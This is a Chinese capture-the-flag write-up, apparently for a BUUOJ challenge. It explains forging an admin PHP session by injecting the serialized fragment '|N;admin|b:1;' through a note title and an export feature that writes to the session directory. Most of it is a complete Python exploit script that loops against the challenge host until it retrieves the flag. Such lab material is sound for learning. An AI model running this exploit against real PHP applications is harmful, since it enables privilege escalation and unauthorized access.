前言
关键字:[反序列化|session]
题解
需要获取admin权限拿flag
然后登录,可以写东西,怀疑是XSS
转了一圈没头绪,原来给了源码
显然,是要构造session
session路径是在TEMP_DIR上
而这个也被用来创建临时的打包文件,显然,可以利用这个构造。
payload:
用户名为sess_
title为|N;admin|b:1;
type为.
import re
import requests
URL = 'http://9987cba0-7fe1-48b9-a969-6c429b9f6745.node4.buuoj.cn:81/'
i = 0
while True:
print(i)
i += 1
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})
# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})
# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r)
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid)
# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'flag\{.+\}', r)
if len(flag) > 0:
print(flag[0])
break
本地测试了下,新建的session格式是
关于session反序列化问题看刷题笔记:bestphp’s revenge
写入文件是这样
经过反序列化后再序列化变这样
大致想了一下,类似这种反序列化题,应该可以直接无脑|N;
+构造好的序列化字符串。